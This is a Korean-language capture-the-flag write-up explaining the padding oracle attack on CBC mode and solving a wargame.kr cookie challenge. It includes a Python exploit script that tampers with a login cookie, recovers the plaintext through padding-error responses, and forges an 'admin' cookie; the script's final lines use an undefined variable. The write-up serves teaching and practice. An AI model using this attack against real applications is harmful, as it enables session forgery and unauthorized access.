Padding Oracle Attack

Web

라온화이트햇 핵심연구팀 지한별


Padding Oracle Attack 개요


/assets/Untitled1.png


블럭암호 - CBC 암호

/assets/Untitled2.png

/assets/Untitled3.png

CBC 암호 특징

때문에, 만약 평문 블록 1과 2가 같더라도 암호 블록 1과 2는 같을 수 없습니다.

출처: https://blog.1-star.kr/category/Challenge/Crypto

Padding에 따른 응답 차이

  1. 어플리케이션에서 올바른 암호화 값을 받았을 경우 - 200 OK

  2. 어플리케이션에서 패딩이 올바르지 않은 암호문을 받았을 경우 - 500 Internal Server Error

  3. 어플리케이션에서 패딩은 올바르나 잘못된 암호문을 받았을 경우 : 암호화된 값을 평문으로 복호화 하였더니 잘못된 값이 있을 경우 - 에러 메시지

Padding Oracle Attack을 활용한 문제 풀이


/assets/Untitled4.png

/assets/Untitled5.png

/assets/Untitled6.png

/assets/Untitled7.png

g9btM63VW4s%3DZDRjqaKyT6A%3D

/assets/Untitled8.png

파트 1 : g9btM63VW4s=

파트 2 : ZDRjqaKyT6A=

문제풀이



복호화 과정

/assets/Untitled11.png

/assets/Untitled12.png

Exploit code

import base64
from urllib.parse import quote, unquote
import binascii
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 페이로드 전송
def send_payload(s, payload):
    # variable initialization
	url = ""
	headers = {}
	params = {}
	data = {}

    # URL setting
	scheme = 'http'
	url = '{}://wargame.kr:8080/dun_worry_about_the_vase/main.php'.format(scheme)

    # headers setting
	headers = OrderedDict()
	headers['Connection'] = 'keep-alive'
	headers['Cache-Control'] = 'max-age=0'
	headers['Upgrade-Insecure-Requests'] = '1'
	headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
	headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
	headers['Accept-Encoding'] = 'gzip, deflate'
	headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    # L0g1n 쿠키 변조
	headers['Cookie'] = 'L0g1n={};'.format(payload)
	
    # params setting
	params = OrderedDict()

    # data setting
	data = OrderedDict()

    # send packet
	r = s.get(url, headers=headers, params=params, data=data, verify=False)
	return r.text

# xor 함수
# enumberate는 배열을 인덱스와 값 형태로 나눠줌(ex. 1,22)
# 이후 xor 수행한 값을 bytes 형태로 return 해줌
def xor(data, key):
	output = bytearray()
	for i, ch in enumerate(data):
		output.append(ch ^ key[i % len(key)])
	return bytes(output)

# hex로 변환해주는 함수
# temp = data를 hex로 변환 
# 00 00 00 00 00 00 00 00 <- 형태로 보고 쉽게 표현
# range(0, len(temp), 2) <- 0부터 temp길이만큼 2개씩
# ret 에다가 2개씩 잘라서 넣고 return
def hex_view(data):
	temp = data.hex()
	ret = ""
	for i in range(0, len(temp), 2):
		ret += temp[i:i+2] + " "
	return ret

# cookie 생성하는 함수
# (iv base64 인코딩 -> url인코딩) + cookie에서 iv 값 제외한 부분
def make_cookie(iv, enc):
	return quote(base64.b64encode(iv))+quote(base64.b64encode(enc))

# 초기 값 설정
# inter는 암호화 중간 값으로 byte 형태로 비워둠
# s 는 리퀘스트 전송 위해 session 하나 생성 해둠
cookie="ht8Mmi5LRU4%3DajDlXflQ%2By0%3D"
iv=base64.b64decode(unquote("ht8Mmi5LRU4%3D"))
enc=base64.b64decode(unquote("DajDlXflQ%2By0%3D"))
inter=b''
s = requests.Session()

#현재 IV와 ENC 출력
print("I V => {}".format(hex_view(iv)))
print("ENC => {}".format(hex_view(enc)))

#iv 만드는 과정 1~iv길이+1 까지
for i in range(1,len(iv)+1):
	#iv 시작점 지정 / 1일 경우 맨앞에서부터 뒤에 1글자 빼고 / 2일경우 뒤 2글자 빼고
	start = iv[:len(iv)-i]
	for j in range(0,0xff+1):
		# target = start +(0x00~0xff 중 1개) + xor(inter 뒤집은거, i)
		target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
		cookie = make_cookie(target, enc)
		res = send_payload(s, cookie)
		print(hex_view(target), "=>", cookie)
		print(res)
		if 'padding error' not in res:
			break
	# padding error가 안뜨면 정상이므로 구한 값 j와 현재 패딩 값(1~8중 하나) xor 해서 inter을 파악함
	inter += bytes([i ^ j])
	
	# inter는 뒤부터 구하는 것 이기 때문에 뒤집어서 다시 구해줌
	print(hex_view(inter[::-1]))

# 다 구해진 인터 뒤집어서 리얼 인터로 만듬
# plain 알아냄 inter와 iv xor
inter = inter[::-1]
plain = xor(inter, iv)
print(plain)

# 공격에 쓰일 plain을 적고
# plain의 iv를 구하고(구한 inver와 mod xor하기)
mod = b"admin\x03\x03\x03" 
print(make_cookie(mod_iv, enc))